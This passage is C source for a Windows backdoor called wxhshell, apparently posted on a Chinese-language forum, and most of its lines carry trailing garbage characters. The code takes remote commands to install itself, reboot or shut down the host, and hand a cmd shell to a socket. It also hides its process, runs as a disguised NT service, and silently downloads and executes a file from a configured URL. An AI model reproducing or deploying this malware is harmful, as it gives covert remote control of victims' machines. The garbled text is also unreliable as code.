&& b;Wr  
    switch(cmd[0]) { R|]n;*y  
  m-<m[49  
  // 帮助 mpd?F 'V  
  case '?': { e. R9:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9`7>" [=P  
    break; pL2{zW`FDh  
  } L fZF  
  // 安装 #j)"#1IE2W  
  case 'i': { ]$I}r= Em  
    if(Install()) FzG>iC}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m{r#o?  
    else 0xfF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5 &0qr$  
    break; P[tYu:  
    } LHSbc!Y'.  
  // 卸载 ]D,\(|  
  case 'r': { #Sg"/Cc  
    if(Uninstall()) o_03Io ~Bf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i ;^Ya  
    else } g%v<'K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pk0{*Z?@  
    break; ~yJJ00%  
    } Z}.ZTEB  
  // 显示 wxhshell 所在路径 L2OR<3*|Av  
  case 'p': { 5<YL^m{/L  
    char svExeFile[MAX_PATH]; ;*0?C'h=  
    strcpy(svExeFile,"\n\r"); I+ Y{_yw"f  
      strcat(svExeFile,ExeFile); &^l(RBp]0  
        send(wsh,svExeFile,strlen(svExeFile),0); P~%+KxwZQ  
    break; 9dWz3b1[]  
    } (p<pF].  
  // 重启 |#'n VN.;  
  case 'b': { 4iss j$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "F[7b!>R  
    if(Boot(REBOOT)) tS-gaT`T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h`iOs>  
    else { ;; ;=)'o  
    closesocket(wsh); 8|zOgn{  
    ExitThread(0); aemi;61T\  
    } 6&il>  
    break; dFy GI?  
    } h~ZLULW)B  
  // 关机 uqLP$At  
  case 'd': { @w`wJ*I4,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -:E~Z_J`  
    if(Boot(SHUTDOWN)) k81%$E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V@[C=K  
    else { 6q6xqr:W  
    closesocket(wsh); p4 =/rkq  
    ExitThread(0); FRQ0t!b<M1  
    } 3&nN;4~Zx6  
    break; N$x&k$w R  
    } 6|~^P!&  
  // 获取shell -Jw4z# /-  
  case 's': { Ka_;~LS>(  
    CmdShell(wsh); dDIR~ !T  
    closesocket(wsh); Y~e)3e  
    ExitThread(0); n,2   
    break; mEsb_3?#+  
  } -%@ah:iJ  
  // 退出 lo(C3o'  
  case 'x': { GEA1y^b6"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O9ps?{g  
    CloseIt(wsh); J=k=cFUX  
    break; -Ep#q&\  
    } +{RTz)e?*  
  // 离开 1^^8,.'  
  case 'q': { 6(rN(C  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @uldD"MJ<]  
    closesocket(wsh); ^'0N%`bY!  
    WSACleanup(); yDwh]t  
    exit(1); 6#!CBY^{  
    break; YrB-n  
        } 849,1n^  
  } U/^#nU.,  
  } 8hD[z}  
tP7<WGHd/  
  // 提示信息 4P k%+l  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L_RVHvA=M/  
} ]LUcOR  
  } xdgAu  
w9G|)UDib  
  return; wlJi_)!  
} )q-NE)  
7I XWv-  
// shell模块句柄 wW1VOj=6V"  
int CmdShell(SOCKET sock) l|?tqCT ^h  
{ 8O9^g4?  
STARTUPINFO si; $t.oGd@N  
ZeroMemory(&si,sizeof(si)); jez0 A  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; zR?R,k)m  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; N*}soMPV^.  
PROCESS_INFORMATION ProcessInfo; jJ$B^Y"4  
char cmdline[]="cmd"; 5MaN {*)l  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~ p? ArZb  
  return 0; b;UBvwY_  
} tr[}F7n9  
/DHgwpJ  
// 自身启动模式 x?{UWh%  
int StartFromService(void) IDH~nMz  
{ ES&u*X:  
typedef struct w Wb>V&3  
{ hhy+bA}  
  DWORD ExitStatus; z/ 1$G"  
  DWORD PebBaseAddress; v"o"W[  
  DWORD AffinityMask; U]sAYp^$  
  DWORD BasePriority; B@&sG 5ES  
  ULONG UniqueProcessId; :S0!  
  ULONG InheritedFromUniqueProcessId; **hQb$  
}   PROCESS_BASIC_INFORMATION; Bdt6 w(`^  
`|ie#L(:7/  
PROCNTQSIP NtQueryInformationProcess;  @./h$]6  
z!"vez  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; CLrX!JV>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; u[b |QR=5  
8Agg%*Qs}  
  HANDLE             hProcess; :snO*Zg  
  PROCESS_BASIC_INFORMATION pbi; p"ytt|H  
q*3OWr  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \~ D(ww  
  if(NULL == hInst ) return 0; 2IJK0w@  
^?VQ$o2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *U[yeE].  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); AEyvljv  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B}iEhWO6  
7=CkZ&(?  
  if (!NtQueryInformationProcess) return 0; faQmkO  
H$h#n~W~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); l^lb ^"o  
  if(!hProcess) return 0; ,QcS[9$  
*S.U8;*Xj  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Du+W7]yCl  
:>1nkm&Eg  
  CloseHandle(hProcess); O(T5  
?_NKyiu95  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); bF"l0 jS  
if(hProcess==NULL) return 0; |\,OlX,  
[8iY0m_Qe  
HMODULE hMod; 6zi>Q?] 1  
char procName[255]; \vA*dQ-  
unsigned long cbNeeded; = s&Rk~2b/  
Fv$tl)p*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); T }#iXgyx  
R BYhU55B  
  CloseHandle(hProcess); OEW'bT)  
%O"8|ZG9{  
if(strstr(procName,"services")) return 1; // 以服务启动 bKQho31a'  
IVR%H_uz  
  return 0; // 注册表启动 -> cL)  
} 5;a*Xf%V  
.xRdKt!p  
// 主模块 aB ,-E>+  
int StartWxhshell(LPSTR lpCmdLine) #<*Vc6pC  
{ A8)4nOXM  
  SOCKET wsl; .GrOdDK$ns  
BOOL val=TRUE; X6HaC+P  
  int port=0; n7Ao.b%uk-  
  struct sockaddr_in door; 9d5$cV  
bZnOX*y]  
  if(wscfg.ws_autoins) Install(); SVCh!/qe\  
QaWS%0go  
port=atoi(lpCmdLine); ={BD*= i  
um2a#6uo  
if(port<=0) port=wscfg.ws_port; `w@:h4f  
P?0X az  
  WSADATA data; }9fa]D-a?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; TKDG+`TyZ  
wI%M3XaBws  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Itl8#LpLM  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =xI;D,@S  
  door.sin_family = AF_INET; VBhUh~:Om  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ai !u+L  
  door.sin_port = htons(port); {;yO3];Hqw  
t>j_C{X1(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SI7rTJ]/  
closesocket(wsl); vm [lMx  
return 1; ) c@gRb~  
} &o:5lxR{  
T+Oqd\05.+  
  if(listen(wsl,2) == INVALID_SOCKET) { T ,lM(2S[  
closesocket(wsl); oRV}Nz7hr  
return 1; UK=ELvt]  
} 1/DtF  
  Wxhshell(wsl); wi2`5G6|z  
  WSACleanup(); J%&LQ9  
:qzg?\(  
return 0; 'Y?-."eKh  
xR+vu>f  
} sx,$W3zI'G  
~1G^IZ6  
// 以NT服务方式启动 W}(A8g#6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )%(ZFn}  
{ (.J/Ql0Y  
DWORD   status = 0; .LzA'q1+z  
  DWORD   specificError = 0xfffffff; hx$]fvDevD  
Y=S0|!u  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (:o F\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; z/7q#~J,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vhe Y F@  
  serviceStatus.dwWin32ExitCode     = 0; |x}TpM;ni  
  serviceStatus.dwServiceSpecificExitCode = 0; @|gG3  
  serviceStatus.dwCheckPoint       = 0; oW^b,{~V  
  serviceStatus.dwWaitHint       = 0; YvY|\2^K  
[$y(>] ~.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7oZ :/6_>  
  if (hServiceStatusHandle==0) return; ETDWG_H |  
Fis!MMh.$  
status = GetLastError(); iI GK "}  
  if (status!=NO_ERROR) F^dJ{<yX  
{ z "@^'{.l  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  9q;O`&  
    serviceStatus.dwCheckPoint       = 0; |$WHw*F^  
    serviceStatus.dwWaitHint       = 0; 1?'4%>kp  
    serviceStatus.dwWin32ExitCode     = status; /@Lk H$  
    serviceStatus.dwServiceSpecificExitCode = specificError; *yZ6"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \/Y(m4<P  
    return; d`sZ"8}j  
  } }?[];FB  
]E9iaq6Z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; d) -(C1f  
  serviceStatus.dwCheckPoint       = 0; lm`*x=x  
  serviceStatus.dwWaitHint       = 0; P1F-Wy1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ym'h vK  
} 1_Yx]%g<  
BM :x`JY  
// 处理NT服务事件,比如:启动、停止 A mZXUb  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &h:4TaD  
{ {B$CqsvJ  
switch(fdwControl) Ejk;(rxI  
{ (\:Rnl  
case SERVICE_CONTROL_STOP: cAR `{%b  
  serviceStatus.dwWin32ExitCode = 0; c>bns/f  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; BJ UG<k  
  serviceStatus.dwCheckPoint   = 0; <) * U/r  
  serviceStatus.dwWaitHint     = 0; _S9)<RVI+  
  { 4[lFur H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w:\} B'u  
  } '_v~+  
  return; *7Vb([x4;  
case SERVICE_CONTROL_PAUSE: ]B/> =t"E  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; yY VR]HH  
  break; \[9VeqMU  
case SERVICE_CONTROL_CONTINUE: lY,^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; g *$2qKm  
  break; EL,k z8  
case SERVICE_CONTROL_INTERROGATE: cSt)Na~C  
  break; (Yewd/T  
}; 1T|f<ChIF<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); MCN>3/81  
} "0eX/ rY%  
*'((_ NZ>  
// 标准应用程序主函数 ox-m)z `7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) W9SU1{*9  
{ xmg3,bO  
wfo,r 7  
// 获取操作系统版本  7)2K6<q  
OsIsNt=GetOsVer(); P%|~Ni_BTX  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]N'3jf`W  
v,<14w  
  // 从命令行安装 cC~RW71  
  if(strpbrk(lpCmdLine,"iI")) Install(); f.w",S^  
@&\Y:aRO%i  
  // 下载执行文件 +a5F:3$  
if(wscfg.ws_downexe) { 8c5YX  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) K6DN>0sY  
  WinExec(wscfg.ws_filenam,SW_HIDE); `2Pa{g- .  
} 4!dc/K  
NO!Qo:  
if(!OsIsNt) { [=K lDfU=  
// 如果时win9x,隐藏进程并且设置为注册表启动 E+]}KX:  
HideProc(); >jt2vU@t.  
StartWxhshell(lpCmdLine); i$NlS}W  
} ](Fey0@  
else {lf{0c$X.  
  if(StartFromService()) &jJu=6 U B  
  // 以服务方式启动 (%6fMVp  
  StartServiceCtrlDispatcher(DispatchTable); A-!e$yz>  
else x7S\-<8  
  // 普通方式启动 ?tLApy^`?  
  StartWxhshell(lpCmdLine); |N/d }  
<K0epED  
return 0; 3RaduN]  
}
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只看该作者 1 发表于: 2006-10-10
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